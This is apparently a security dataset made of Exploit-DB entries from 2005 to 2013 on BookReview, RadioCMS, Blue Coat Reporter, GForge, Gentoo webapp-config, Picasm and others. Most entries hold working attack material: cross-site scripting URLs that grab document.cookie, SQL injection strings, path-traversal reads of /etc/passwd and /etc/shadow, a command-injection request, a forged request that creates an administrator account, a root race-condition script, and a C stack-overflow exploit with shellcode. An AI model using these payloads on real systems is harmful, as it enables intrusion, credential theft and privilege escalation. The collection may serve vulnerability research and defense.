QLWD/code_shield huggingface dataset:
标题: BookReview 1.0 - 'suggest_category.htm?node' Cross-Site Scripting EDB-ID: 25729 CVE: 2005-1782 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13783/info
  
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/suggest_category.htm?node=Agriculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25729
标题: BookReview 1.0 - 'add_booklist.htm?node' Cross-Site Scripting EDB-ID: 25731 CVE: 2005-1782 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13783/info
    
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_booklist.htm?node=Agriculture_and_Aquaculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25731
标题: BookReview 1.0 - 'add_review.htm' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25727 CVE: 2005-1782 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13783/info

BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true
http://www.example.com/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true
http://www.example.com/add_review.htm?isbn=0553278223&node="><script>alert(document.cookie)</script>&review=true
http://www.example.com/add_review.htm?node=index&isbn=\\"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/25727
标题: BookReview 1.0 - 'contact.htm?user' Cross-Site Scripting EDB-ID: 25730 CVE: 2005-1782 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13783/info
   
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/contact.htm?user=admin%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25730
标题: BookReview 1.0 - 'add_contents.htm' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25728 CVE: 2005-1782 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13783/info
 
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_contents.htm?isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25728
标题: BookReview 1.0 - 'add_classification.htm?isbn' Cross-Site Scripting EDB-ID: 25734 CVE: 2005-1782 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13783/info
       
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/add_classification.htm?isbn=0830815961%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Gospels URL: https://www.exploit-db.com/exploits/25734
标题: RadioCMS 2.2 - 'menager.php?playlist_id' SQL Injection EDB-ID: 25726 CVE: 2013-3531 类型: WEBAPPS 平台: PHP 发布日期: 2013-05-26 漏洞利用脚本: #################################################
+
+ Title: RadioCMS 2.2
+ Author: Rooster(XEKA)
+ Greetz to: Isis,luz3r,slider
+ Contact: forum.xeksec.com
+
#################################################
  
--[ Vuln Code ] --
  
...
if ($_GET['playlist_id']) {
  $playlist_id_get = ['playlist_id'];
}
...
if ($playlist_id != "") {
$query = "SELECT * FROM `playlist` WHERE $playlist_id;";
...
 
  
################################################
  
--[ Exploitable ]--
  
http://server/radio/meneger.php?fold=/var/www/music&search=1%27&playlist_id=&playlist_id=-1+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12
  
################################################ URL: https://www.exploit-db.com/exploits/25726
标题: Linux Kernel 2.6.x - Cryptoloop Information Disclosure EDB-ID: 25707 CVE: 2004-2135 类型: LOCAL 平台: LINUX 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13775/info

Both cryptoloop and dm-crypt are reported prone to an information disclosure vulnerability. Reports indicate that certain watermarked files may be detected on a filesystem that is encrypted using the affected loop device encryption schemes.

It should be noted that a successful attack would reveal the presence of a watermarked file but not the file contents. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25707.tar.bz2 URL: https://www.exploit-db.com/exploits/25707
标题: Gentoo Webapp-Config 1.10 - Insecure File Creation EDB-ID: 25709 CVE: 2005-1707 类型: LOCAL 平台: LINUX 发布日期: 2005-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13780/info

Gentoo webapp-config is prone to an insecure file creation vulnerability. This issue is due to a design error that causes the application to fail to verify the existence of a file before writing to it.

An attacker may leverage this issue to cause arbitrary shell commands to be executed with superuser privileges. 

#!/bin/bash

# Eric Romang aka wow (eromang@zataz.net)
# webapp-config race condition how permit execution of arbitrary command with root privileges
# work with < webapp-config 1.10-r14

rm -f webapp-config_trace.txt fake_tmp_file /tmp/*.postinst.txt
touch ~/fake_tmp_file

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting for webapp-config execution..."

while [ "$status" == 0 ]
do
 ps auxw|grep webapp-config|grep root 
 if [ "$?" == 0 ]
 then
  echo "1" > webapp-config_trace.txt
 fi
 status=`cat webapp-config_trace.txt`
done

echo "Process caught !"
process_id=`pgrep -u root webapp-config`
ln -s ~/fake_tmp_file /tmp/$process_id.postinst.txt
echo "fake_file_created!"
echo "we force the file to be overwritten"

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting the end of webapp-config"
echo "during all the configuration we force the file to be overwritten"
while [ "$status" == 0 ]
do
 ps auxw|grep webapp-config|grep root
 if [ "$?" == 1 ]
 then
  echo "1" > webapp-config_trace.txt
 else
  echo "echo premature end of script; exit 1;" > ~/fake_tmp_file
 fi
 status=`cat webapp-config_trace.txt`
done
echo "end of webapp-config" URL: https://www.exploit-db.com/exploits/25709
标题: Blue Coat Reporter 7.0/7.1 - Privilege Escalation EDB-ID: 25697 CVE: 2005-1708 类型: REMOTE 平台: WINDOWS 发布日期: 2005-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/13723/info

Blue Coat Reporter is prone to a remote privilege escalation vulnerability. This issue is due to a failure in the application to properly authenticate a user prior to permitting access to administrator functions.

A remote authenticated user can manipulate the form for adding new users and create a new user with administrator access.

The vendor has addressed this issue in the upcoming version 7.1.2 of the application. 

The following proof of concept is available using the user account test:
POST /?dp+templates.admin.users.user_form_processing HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.users.user_form+volatile.form_type+new
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=d9430f0d59eb43871e2c38ab84627232; authusername7=test;
authpassword7=098f6bcd4621d373cade4e832627b4f6
Content-Length: 170

submit=Save+and+Close&volatile.user.username=hurz&volatile.user.password=hurz&volatile.user.administrator=true&volatile.
user.profiles.0=profile1&volatile.form_type=new URL: https://www.exploit-db.com/exploits/25697
标题: Gearbox Software Halo Game Server 1.06/1.07 - Infinite Loop Denial of Service EDB-ID: 25699 CVE: 2005-1741 类型: DOS 平台: WINDOWS 发布日期: 2005-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/13728/info

The Halo Game Server is prone to a denial-of-service condition. The issue arises when malformed data is sent to the game server, causing it to enter an infinite loop.

This issue was reported to affect Halo Game Server 1.06; earlier versions are likely vulnerable.

UPDATE: The vulnerability also affects Halo Game Server 1.07. 


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25699-2.zip URL: https://www.exploit-db.com/exploits/25699
标题: Sun JavaMail 1.x - Multiple Information Disclosure Vulnerabilities EDB-ID: 25702 CVE: 2005-1754 类型: WEBAPPS 平台: JAVA 发布日期: 2005-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/13753/info

Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported:

A remote attacker may reveal the contents of email attachments of other users.

A remote attacker may download and peruse arbitrary files with the privileges of the affected service.

A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks. 

First issue:
http://example.com/mailboxesdir/user2@example.com/
http://example.com/mailboxesdir/user3@example.com/

Second issue:
http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml
http://example.com/Download?/var/serviceprovider/web/login.jsp
http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp
http://example.com/Download?/var/serviceprovider/web/addbook.jsp
http://example.com/Download?/var/serviceprovider/web/compose.jsp
http://example.com/Download?/var/serviceprovider/web/folder.jsp
http://example.com/Download?/etc/passwd
http://example.com/Download?/etc/shadow
http://example.com/Download?/etc/group
http://example.com/Download?/var/log/boot.log
http://example.com/Download?/var/log/maillog URL: https://www.exploit-db.com/exploits/25702
标题: Blue Coat Reporter 7.0/7.1 - License HTML Injection EDB-ID: 25698 CVE: 2005-1709 类型: REMOTE 平台: WINDOWS 发布日期: 2005-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/13725/info

Blue Coat Reporter is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The vendor has addressed this issue in the upcoming version 7.1.2 of the application; earlier versions are reported vulnerable. 

POST
/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=invalid; authusername7=invalid; authpassword7=invalid
Content-Length: 100 URL: https://www.exploit-db.com/exploits/25698
标题: Warrior Kings: Battles 1.23 - Remote Denial of Service EDB-ID: 25692 CVE: 2005-1703 类型: DOS 平台: MULTIPLE 发布日期: 2005-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/13712/info

Warrior Kings: Battles is susceptible to a remote denial of service vulnerability. This is due to a failure of the game server to properly handle exceptional conditions.

This vulnerability allows remote attackers to crash affected game servers, denying access to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25692.zip URL: https://www.exploit-db.com/exploits/25692
标题: GForge 3.x - Arbitrary Command Execution EDB-ID: 25693 CVE: 2005-1752 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/13716/info

GForge is affected by a remote command execution vulnerability.

This issue arises because the application fails to sanitize user-supplied data passed through URI parameters.

An attacker can supply arbitrary shell commands through the affected parameter to be executed in the context of the affected server.

GForge versions prior to 4.0 are vulnerable to this issue. 

GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a URL: https://www.exploit-db.com/exploits/25693
标题: Gedit 2.x - Filename Format String EDB-ID: 25688 CVE: 2005-1686 类型: LOCAL 平台: LINUX 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13699/info

gEdit is prone to a format-string vulnerability. Exploitation may occur when the program is invoked with a filename that includes malicious format specifiers.

Attackers could exploit this issue to corrupt arbitrary regions of memory with attacker-supplied data, potentially resulting in the execution of arbitrary code in the context of the user running the program. 

bash-2.05b#cat fmtexp.c

#include <stdio.h>


int
main()
{
printf("hah gedit\n");
}


bash-2.05b#gcc -o fk fmtexp.c

bash-2.05b#mv fk AA%n%n%n.c

bash-2.05b#gedit AA%n%n%n.c URL: https://www.exploit-db.com/exploits/25688
标题: PHP Advanced Transfer Manager 1.21 - Arbitrary File Inclusion EDB-ID: 25686 CVE: 2005-1681 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/13691/info

PHP Advanced Transfer Manager is prone to an arbitrary file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/index.php?include_location=http://www.example.com/ URL: https://www.exploit-db.com/exploits/25686
标题: Picasm 1.10/1.12 - Error Generation Remote Buffer Overflow EDB-ID: 25687 CVE: 2005-1679 类型: REMOTE 平台: FREEBSD 发布日期: 2005-05-20 漏洞利用脚本: // source: https://www.securityfocus.com/bid/13698/info

Picasm is affected by a remote buffer overflow vulnerability.

An attacker can exploit this issue by supplying an excessive 'error' directive.

If successfully exploited, this issue can allow a remote attacker to gain access to the affected computer in the context of the user running the application.

Picasm 1.12b and prior versions are vulnerable to this issue. 

/* picasm_exploit.c - by Shaun Colley <shaun rsc cx>
 *
  * This code generates a picasm source file with a malformed 'error' directive,
  * which exploits a stack overflow vulnerability in picasm's error printing
 * routines.  The file generated by this exploit will only cause execution
  * of FreeBSD 'reboot()' shellcode.  Exploit has been tested on
FreeBSD 5.3-RELEASE.
  * Return address into shellcode may need changing on other operating system
  * versions.  Other shellcodes can potentially be used instead of the
one below.
 *
  * A fix has been provided by picasm's maintainer.  The fixed packages can be
 * found at <http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz>.
 */

#include <stdio.h>
#include <stdlib.h>

  /* FreeBSD reboot shellcode by zillion
  * zillion safemode org */
  char shellcode[] =
  "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";

int main(int argc, char *argv[]) {

  if(argc < 2) {
    printf("syntax: %s <outfile>\n", argv[0]);
    return 1;
  }

    char buf[144];

  /* FreeBSD 5.3-RELEASE */
char ret[] = "\x78\xea\xbf\xbf";
/* Works when X server is not running */
/*char ret[] = "\x08\xeb\xbf\xbf";*/

  char *ptr;
  FILE *fp;
  ptr = buf;

 /* Craft payload */
  memset(ptr, 0, sizeof(buf));
  memset(ptr, 0x90, 118); /* 118 NOP bytes */
  memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */
  memcpy(ptr+133, ret, 4); /* 4 byte ret address */

  /* Open outfile */
  if((fp = fopen(argv[1], "w")) == NULL) {
   printf("unable to open %s\n", argv[1]);
   exit(1);
 }

  /* Write it all to outfile */
  fwrite("error ", 1, 6, fp);
  fprintf(fp, "%s", buf);

  fclose(fp);
 return 0;
} URL: https://www.exploit-db.com/exploits/25687
标题: EJ3 TOPo 2.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25689 CVE: 2005-1715 类型: WEBAPPS 平台: PHP 发布日期: 2003-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13700/info

TOPo is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/topo/index.php?m=top"><SCRIPT>alert()</script>&s=info&ID=1114815037.2498
http://www.example.com/topo/index.php?m=top&s=info&ID=1115946293.3552"><SCRIPT>alert()</SCRIPT>&t=puntuar
http://www.example.com/topo/index.php?m=top&s=info"><script>alert()</script>&ID=1115946293.3552&t=puntuar
http://www.example.com/topo/index.php?m=top"><script>alert()</script>&s=info&ID=1115946293.3552&t=puntuar
http://www.example.com/topo/index.php?m=top&s=info&t=comments&ID=1114815037.2498"><SCRIPT>alert()</script>
http://www.example.com/topo/index.php?m=top&s=info&t=comments&paso=1&ID=1111068112.7598"><SCRIPT>alert()</script>
http://www.example.com/topo/index.php?m=members&s=html&t=edit"><SCRIPT>alert()</script> URL: https://www.exploit-db.com/exploits/25689
标题: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_themengraf.php?year' SQL Injection EDB-ID: 25677 CVE: 2005-1633 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13650/info
    
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
    
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_portal_themengraf.php?month=1&year=1[SQL-Injection] URL: https://www.exploit-db.com/exploits/25677
标题: War Times - Remote Game Server Denial of Service EDB-ID: 25680 CVE: 2005-1718 类型: DOS 平台: WINDOWS 发布日期: 2005-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/13652/info

War Times is susceptible to a remote denial of service vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied network data prior to copying it into a fixed-size memory buffer.

This vulnerability allows remote attackers to crash the game server, denying service to legitimate users.

Version 1.03, and prior are affected by this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25680.zip URL: https://www.exploit-db.com/exploits/25680
标题: Warrior Kings 1.3 And Warrior Kings: Battles 1.23 - Remote Format String EDB-ID: 25691 CVE: 2005-1702 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/13711/info

Warrior Kings, and Warrior Kings: Battles are vulnerable to a remote format string vulnerability. This issue is due to a failure of the application to securely implement a formatting printing function.

This vulnerability allows remote attackers to crash affected game servers. Due to the nature of this vulnerability, it is also likely that attackers may cause arbitrary machine code to be executed in the context of the affected game server. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25691-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25692.zip URL: https://www.exploit-db.com/exploits/25691
标题: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_mitgraf.php?year' SQL Injection EDB-ID: 25678 CVE: 2005-1633 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13650/info
     
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
     
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_portal_mitgraf.php?month=1&year=1[SQL-Injection] URL: https://www.exploit-db.com/exploits/25678